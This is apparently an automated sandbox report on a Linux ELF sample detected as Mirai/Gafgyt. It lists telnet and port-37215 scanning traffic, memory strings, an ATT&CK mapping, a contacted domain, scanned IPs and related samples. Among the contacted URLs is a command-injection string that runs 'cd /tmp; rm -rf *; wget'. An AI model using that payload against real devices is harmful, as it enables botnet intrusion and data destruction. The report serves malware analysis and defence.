Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52046
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52178
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52218
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52242
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52260
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52316
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52342
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52370
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52412
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52452
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52468
Source: unknown	Network traffic detected: HTTP traffic on port 41028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52526
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52542
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52554
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52574
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52640
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52656
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52672
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52702
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52708
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52714
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52768
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52786
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52816
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52830
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39044
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39068
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39082
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39096
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39130
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39140
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39148
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39154
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39158
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39162
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39172
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39184
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39204
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39240
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39254
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39260
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39272
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39278
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39314
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39342
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39350
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39358
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39388
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39398
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39412
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39418
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39444
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39458
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39484
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39498
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215

Source: /tmp/if33NMq1O2.elf (PID: 6209)

Queries kernel information via 'uname':

Jump to behavior

Source: if33NMq1O2.elf, 6209.1.0000560966119000.000056096619e000.rw-.sdmp, if33NMq1O2.elf, 6213.1.0000560966119000.000056096619e000.rw-.sdmp, if33NMq1O2.elf, 6258.1.0000560966119000.000056096619e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: if33NMq1O2.elf, 6209.1.0000560966119000.000056096619e000.rw-.sdmp, if33NMq1O2.elf, 6213.1.0000560966119000.000056096619e000.rw-.sdmp, if33NMq1O2.elf, 6258.1.0000560966119000.000056096619e000.rw-.sdmp	Binary or memory string: fV!/etc/qemu-binfmt/sparc
Source: if33NMq1O2.elf, 6209.1.00007ffdd5534000.00007ffdd5555000.rw-.sdmp, if33NMq1O2.elf, 6213.1.00007ffdd5534000.00007ffdd5555000.rw-.sdmp, if33NMq1O2.elf, 6258.1.00007ffdd5534000.00007ffdd5555000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/if33NMq1O2.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/if33NMq1O2.elf
Source: if33NMq1O2.elf, 6209.1.00007ffdd5534000.00007ffdd5555000.rw-.sdmp, if33NMq1O2.elf, 6213.1.00007ffdd5534000.00007ffdd5555000.rw-.sdmp, if33NMq1O2.elf, 6258.1.00007ffdd5534000.00007ffdd5555000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: if33NMq1O2.elf, type: SAMPLE
Source: Yara match	File source: 6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: if33NMq1O2.elf, type: SAMPLE
Source: Yara match	File source: 6213.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6209.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6258.1.00007fd3b0011000.00007fd3b0023000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Service Stop	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	5 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	3 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
if33NMq1O2.elf	69%	ReversingLabs	Linux.Trojan.Mirai
if33NMq1O2.elf	66%	Virustotal		Browse
if33NMq1O2.elf	100%	Avira	EXP/ELF.Gafgyt.Gen.T

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ezleaks.com	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://</b> 212.102.41.2 <br>400	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ezleaks.com	93.123.85.91	true	false	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	Avira URL Cloud: safe	unknown
http://</b> 212.102.41.2 <br>400	false	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	if33NMq1O2.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	if33NMq1O2.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
201.135.70.9	unknown	Mexico	8151	UninetSAdeCVMX	false
51.155.103.231	unknown	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
39.44.18.181	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
147.105.8.216	unknown	United States	22522	ULALAUNCHUS	false
211.251.55.71	unknown	Korea Republic of	38692	JBES-AS-KRJeonlabukdoEducationResearchInformationInstit	false
197.167.208.200	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.59.97.16	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
85.173.246.127	unknown	Russian Federation	42362	ALANIA-ASBranchformerSevosetinelectrosvyazRU	false
197.219.238.81	unknown	Mozambique	37342	MOVITELMZ	false
156.124.100.133	unknown	United States	393504	XNSTGCA	false
176.79.226.98	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
135.222.165.169	unknown	United States	10455	LUCENT-CIOUS	false
156.67.35.98	unknown	United Kingdom	48101	CALLFLOW-ASCallFlowSolutionsLtdGB	false
172.88.10.135	unknown	United States	20001	TWC-20001-PACWESTUS	false
204.104.178.243	unknown	United States	1239	SPRINTLINKUS	false
145.23.245.103	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
190.140.199.195	unknown	Panama	18809	CableOndaPA	false
156.125.137.18	unknown	United States	393504	XNSTGCA	false
36.127.240.179	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
179.137.232.95	unknown	Brazil	26599	TELEFONICABRASILSABR	false
57.67.217.112	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
14.22.222.69	unknown	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
41.115.200.87	unknown	South Africa	16637	MTNNS-ASZA	false
156.188.207.15	unknown	Egypt	36992	ETISALAT-MISREG	false
123.199.26.148	unknown	Korea Republic of	10066	GAYANET-AS-KRLGHelloVisionCorpKR	false
197.4.200.36	unknown	Tunisia	5438	ATI-TN	false
23.7.233.55	unknown	United States	16625	AKAMAI-ASUS	false
132.211.184.57	unknown	Canada	376	RISQ-ASCA	false
124.248.204.162	unknown	Hong Kong	45267	LIGHTWIRE-AS-APLightwireLTDNZ	false
204.73.141.59	unknown	United States	5006	VOYANTUS	false
135.176.208.108	unknown	United States	14962	NCR-252US	false
69.49.70.34	unknown	United States	33734	MPW-MACHLINK-NETUS	false
156.235.189.161	unknown	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	false
14.52.140.82	unknown	Korea Republic of	9638	NH-ASNationalAgriculturalCooperativefederationKR	false
13.193.38.66	unknown	United States	7018	ATT-INTERNET4US	false
164.213.14.110	unknown	United States	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
197.152.130.201	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.89.147.97	unknown	South Africa	10474	OPTINETZA	false
140.67.5.38	unknown	United States	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
156.235.45.156	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
197.0.175.90	unknown	Tunisia	37705	TOPNETTN	false
142.48.96.110	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
210.212.47.145	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
41.97.63.138	unknown	Algeria	36947	ALGTEL-ASDZ	false
88.53.116.84	unknown	Italy	3269	ASN-IBSNAZIT	false
103.17.21.240	unknown	Philippines	132615	PBATC-AS-APPipolBroadbandandTelecommunicationsCorporati	false
156.144.112.193	unknown	United States	3743	ARCEL-2US	false
80.250.220.70	unknown	Russian Federation	21367	ZVEZDATEL-ASRU	false
41.245.154.183	unknown	Nigeria	328050	Intercellular-Nigeria-ASNG	false
111.116.210.186	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
156.50.27.186	unknown	Australia	29975	VODACOM-ZA	false
67.157.136.16	unknown	United States	1226	CTA-42-AS1226US	false
148.168.175.229	unknown	United States	11971	PFIZERNET-GROTONUS	false
164.132.129.138	unknown	France	16276	OVHFR	false
195.136.103.182	unknown	Poland	200539	INTELLYSPJ-ASINTELLYPL	false
72.188.187.181	unknown	United States	33363	BHN-33363US	false
164.38.65.146	unknown	United Kingdom	29355	KCELL-ASKZ	false
93.229.27.84	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
94.222.50.156	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
73.231.154.177	unknown	United States	7922	COMCAST-7922US	false
41.40.226.119	unknown	Egypt	8452	TE-ASTE-ASEG	false
137.164.36.209	unknown	United States	2152	CSUNET-NWUS	false
193.42.153.66	unknown	Poland	48021	ALSTOR-ASPL	false
69.87.249.114	unknown	United States	21898	PTN-AS1US	false
197.27.144.115	unknown	Tunisia	37492	ORANGE-TN	false
133.17.34.96	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
132.164.250.229	unknown	Reserved	6360	UNIVHAWAIIUS	false
163.184.90.122	unknown	United States	72	SCHLUMBERGER-ASUS	false
188.204.222.28	unknown	Netherlands	1136	KPNKPNNationalEU	false
197.235.33.87	unknown	Mozambique	37223	VODACOM-MZ	false
175.12.211.14	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.129.211.17	unknown	Morocco	6713	IAM-ASMA	false
197.190.238.241	unknown	Ghana	37140	zain-asGH	false
156.158.248.170	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
126.9.249.70	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
197.139.229.108	unknown	Kenya	36914	KENET-ASKE	false
150.72.126.255	unknown	Japan	6400	CompaniaDominicanadeTelefonosSADO	false
161.219.118.45	unknown	United States	36522	BELLMOBILITY-1CA	false
132.11.223.143	unknown	United States	367	DNIC-ASBLK-00306-00371US	false
117.34.75.45	unknown	China	4835	CHINANET-IDC-SNChinaTelecomGroupCN	false
171.168.198.129	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
46.102.232.129	unknown	Romania	39758	SIMPLIQ-ASRO	false
103.162.242.155	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
156.182.145.46	unknown	Egypt	36992	ETISALAT-MISREG	false
156.61.32.151	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
59.254.238.194	unknown	China	37937	CNNIC-EGOVNET-APChinaeGovNetInformationCenterCN	false
156.191.172.21	unknown	Egypt	36992	ETISALAT-MISREG	false
62.242.237.99	unknown	Denmark	3292	TDCTDCASDK	false
147.168.203.83	unknown	United States	12087	SALSGIVERUS	false
95.44.121.76	unknown	Ireland	5466	EIRCOMInternetHouseIE	false
134.183.83.186	unknown	United Kingdom	4704	SANNETRakutenMobileIncJP	false
156.79.242.145	unknown	United States	11363	FUJITSU-USAUS	false
41.167.147.142	unknown	South Africa	36937	Neotel-ASZA	false
96.9.165.170	unknown	Singapore	134809	VIEWQWEST-AS-APViewQwestSdnBhdMY	false
25.179.250.215	unknown	United Kingdom	7922	COMCAST-7922US	false
186.250.196.230	unknown	Brazil	28162	IBLTelecomunicacoesLtdaBR	false
68.196.234.250	unknown	United States	6128	CABLE-NET-1US	false
84.199.146.217	unknown	Belgium	6848	TELENET-ASBE	false
8.102.218.75	unknown	United States	3356	LEVEL3US	false
99.224.248.151	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.59.97.16	sora.arm.elf	Get hash	malicious	Mirai	Browse
	BSi1j39YE3.elf	Get hash	malicious	Mirai, Moobot	Browse
	bk.x86-20221002-1437.elf	Get hash	malicious	Mirai	Browse
	bk.mips-20221002-0650.elf	Get hash	malicious	Mirai	Browse
	notabotnet.x86_64.elf	Get hash	malicious	Mirai	Browse
201.135.70.9	NIGmpsl.elf	Get hash	malicious	Unknown	Browse
85.173.246.127	bsBroI2hBP	Get hash	malicious	Mirai	Browse
197.219.238.81	x86-20230509-0207.elf	Get hash	malicious	Mirai, Moobot	Browse
	DI3zQL0c27.elf	Get hash	malicious	Mirai, Moobot	Browse
	XZm7Ogz35K	Get hash	malicious	Mirai	Browse
	tjNQ8Zdo5v	Get hash	malicious	Mirai	Browse
	Rubify.x86	Get hash	malicious	Mirai	Browse
39.44.18.181	f8hilTNGRM	Get hash	malicious	Mirai	Browse
156.124.100.133	bok.mips-20230311-0506.elf	Get hash	malicious	Mirai	Browse
156.124.100.133	068iG6omAZ	Get hash	malicious	Mirai	Browse
176.79.226.98	x86_64	Get hash	malicious	Mirai	Browse
135.222.165.169	sMuKf3HLPG	Get hash	malicious	Unknown	Browse
135.222.165.169	x86	Get hash	malicious	Mirai	Browse
197.167.208.200	15PRjvBuol.elf	Get hash	malicious	Mirai, Moobot	Browse
197.167.208.200	AOtiJ2KF7G	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ezleaks.com	h0r0zx00x.x86.elf	Get hash	malicious	Mirai	Browse	93.123.85.91
	J0eiWEw7mS.elf	Get hash	malicious	Mirai	Browse	93.123.85.91
	CiUCHCrTLs.elf	Get hash	malicious	Mirai	Browse	93.123.85.91
	HGd8FQaNOK.elf	Get hash	malicious	Mirai	Browse	93.123.85.91
	bot.x86_64.elf	Get hash	malicious	Mirai	Browse	91.92.249.96

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UninetSAdeCVMX	file.exe	Get hash	malicious	Phorpiex	Browse	189.237.13.221
	file.exe	Get hash	malicious	Phorpiex	Browse	189.142.134.149
	skyljne.x86.elf	Get hash	malicious	Mirai	Browse	189.174.189.79
	skyljne.x86_64.elf	Get hash	malicious	Mirai	Browse	189.250.109.237
	x86-20240101-1250.elf	Get hash	malicious	Mirai	Browse	201.144.123.185
	arm-20240101-1250.elf	Get hash	malicious	Mirai	Browse	200.23.38.227
	lariauts.exe	Get hash	malicious	Amadey	Browse	189.232.29.90
	hfJupY4dpE.elf	Get hash	malicious	Mirai	Browse	189.239.147.146
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	187.156.96.226
	zY72q7d3Da.elf	Get hash	malicious	Mirai	Browse	189.141.254.174
	UhpB22Atau.elf	Get hash	malicious	Mirai	Browse	187.227.9.204
	s8M01kYpwz.elf	Get hash	malicious	Mirai	Browse	200.23.38.223
	arm7.elf	Get hash	malicious	Mirai	Browse	201.155.218.203
	x86.elf	Get hash	malicious	Mirai	Browse	201.145.48.176
	hoho.x86.elf	Get hash	malicious	Mirai	Browse	201.127.239.102
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	187.134.52.10
	PqNwF6rNqr.elf	Get hash	malicious	Mirai	Browse	187.140.74.72
	rDQnhb6OBJ.elf	Get hash	malicious	Mirai	Browse	148.219.63.160
	a3SIMycc8C.elf	Get hash	malicious	Mirai	Browse	189.225.200.47
	jMDesRW1NQ.elf	Get hash	malicious	Mirai	Browse	201.144.22.158
ZEN-ASZenInternet-UKGB	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	88.97.50.121
	arm-20231204-0650.elf	Get hash	malicious	Mirai	Browse	88.97.71.58
	wMFVAaZ5ki.elf	Get hash	malicious	Mirai	Browse	188.122.52.207
	L8PCdNq0xs.elf	Get hash	malicious	Mirai	Browse	88.98.151.173
	6qoPxRL15H.elf	Get hash	malicious	Mirai, Moobot	Browse	82.68.116.91
	oBtxppgLWB.elf	Get hash	malicious	Mirai	Browse	51.148.150.246
	FVShYxZJpc.elf	Get hash	malicious	Mirai	Browse	88.98.151.181
	h7TOIMgvTM.elf	Get hash	malicious	Mirai	Browse	88.97.95.35
	bHFZDHNHZw.elf	Get hash	malicious	Mirai	Browse	82.71.79.4
	rvOM61u4nZ.elf	Get hash	malicious	Mirai	Browse	82.70.221.167
	UQE31l3N6I.elf	Get hash	malicious	Mirai	Browse	88.96.134.56
